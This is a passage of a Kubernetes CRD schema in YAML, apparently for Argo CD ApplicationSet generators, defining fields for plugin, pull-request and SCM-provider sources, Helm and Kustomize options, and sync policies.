                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                  type: object
                                matrix:
                                  x-kubernetes-preserve-unknown-fields: true
                                merge:
                                  x-kubernetes-preserve-unknown-fields: true
                                plugin:
                                  properties:
                                    configMapRef:
                                      properties:
                                        name:
                                          type: string
                                      required:
                                      - name
                                      type: object
                                    input:
                                      properties:
                                        parameters:
                                          additionalProperties:
                                            x-kubernetes-preserve-unknown-fields: true
                                          type: object
                                      type: object
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  required:
                                  - configMapRef
                                  type: object
                                pullRequest:
                                  properties:
                                    azuredevops:
                                      properties:
                                        api:
                                          type: string
                                        labels:
                                          items:
                                            type: string
                                          type: array
                                        organization:
                                          type: string
                                        project:
                                          type: string
                                        repo:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - organization
                                      - project
                                      - repo
                                      type: object
                                    bitbucket:
                                      properties:
                                        api:
                                          type: string
                                        basicAuth:
                                          properties:
                                            passwordRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                            username:
                                              type: string
                                          required:
                                          - passwordRef
                                          - username
                                          type: object
                                        bearerToken:
                                          properties:
                                            tokenRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                          required:
                                          - tokenRef
                                          type: object
                                        owner:
                                          type: string
                                        repo:
                                          type: string
                                      required:
                                      - owner
                                      - repo
                                      type: object
                                    bitbucketServer:
                                      properties:
                                        api:
                                          type: string
                                        basicAuth:
                                          properties:
                                            passwordRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                            username:
                                              type: string
                                          required:
                                          - passwordRef
                                          - username
                                          type: object
                                        bearerToken:
                                          properties:
                                            tokenRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                          required:
                                          - tokenRef
                                          type: object
                                        caRef:
                                          properties:
                                            configMapName:
                                              type: string
                                            key:
                                              type: string
                                          required:
                                          - configMapName
                                          - key
                                          type: object
                                        insecure:
                                          type: boolean
                                        project:
                                          type: string
                                        repo:
                                          type: string
                                      required:
                                      - api
                                      - project
                                      - repo
                                      type: object
                                    filters:
                                      items:
                                        properties:
                                          branchMatch:
                                            type: string
                                          targetBranchMatch:
                                            type: string
                                        type: object
                                      type: array
                                    gitea:
                                      properties:
                                        api:
                                          type: string
                                        insecure:
                                          type: boolean
                                        labels:
                                          items:
                                            type: string
                                          type: array
                                        owner:
                                          type: string
                                        repo:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - api
                                      - owner
                                      - repo
                                      type: object
                                    github:
                                      properties:
                                        api:
                                          type: string
                                        appSecretName:
                                          type: string
                                        labels:
                                          items:
                                            type: string
                                          type: array
                                        owner:
                                          type: string
                                        repo:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - owner
                                      - repo
                                      type: object
                                    gitlab:
                                      properties:
                                        api:
                                          type: string
                                        caRef:
                                          properties:
                                            configMapName:
                                              type: string
                                            key:
                                              type: string
                                          required:
                                          - configMapName
                                          - key
                                          type: object
                                        insecure:
                                          type: boolean
                                        labels:
                                          items:
                                            type: string
                                          type: array
                                        project:
                                          type: string
                                        pullRequestState:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - project
                                      type: object
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  type: object
                                scmProvider:
                                  properties:
                                    awsCodeCommit:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        region:
                                          type: string
                                        role:
                                          type: string
                                        tagFilters:
                                          items:
                                            properties:
                                              key:
                                                type: string
                                              value:
                                                type: string
                                            required:
                                            - key
                                            type: object
                                          type: array
                                      type: object
                                    azureDevOps:
                                      properties:
                                        accessTokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        organization:
                                          type: string
                                        teamProject:
                                          type: string
                                      required:
                                      - accessTokenRef
                                      - organization
                                      - teamProject
                                      type: object
                                    bitbucket:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        appPasswordRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                        owner:
                                          type: string
                                        user:
                                          type: string
                                      required:
                                      - appPasswordRef
                                      - owner
                                      - user
                                      type: object
                                    bitbucketServer:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        basicAuth:
                                          properties:
                                            passwordRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                            username:
                                              type: string
                                          required:
                                          - passwordRef
                                          - username
                                          type: object
                                        bearerToken:
                                          properties:
                                            tokenRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                          required:
                                          - tokenRef
                                          type: object
                                        caRef:
                                          properties:
                                            configMapName:
                                              type: string
                                            key:
                                              type: string
                                          required:
                                          - configMapName
                                          - key
                                          type: object
                                        insecure:
                                          type: boolean
                                        project:
                                          type: string
                                      required:
                                      - api
                                      - project
                                      type: object
                                    cloneProtocol:
                                      type: string
                                    filters:
                                      items:
                                        properties:
                                          branchMatch:
                                            type: string
                                          labelMatch:
                                            type: string
                                          pathsDoNotExist:
                                            items:
                                              type: string
                                            type: array
                                          pathsExist:
                                            items:
                                              type: string
                                            type: array
                                          repositoryMatch:
                                            type: string
                                        type: object
                                      type: array
                                    gitea:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        insecure:
                                          type: boolean
                                        owner:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - api
                                      - owner
                                      type: object
                                    github:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        appSecretName:
                                          type: string
                                        organization:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - organization
                                      type: object
                                    gitlab:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        caRef:
                                          properties:
                                            configMapName:
                                              type: string
                                            key:
                                              type: string
                                          required:
                                          - configMapName
                                          - key
                                          type: object
                                        group:
                                          type: string
                                        includeSharedProjects:
                                          type: boolean
                                        includeSubgroups:
                                          type: boolean
                                        insecure:
                                          type: boolean
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
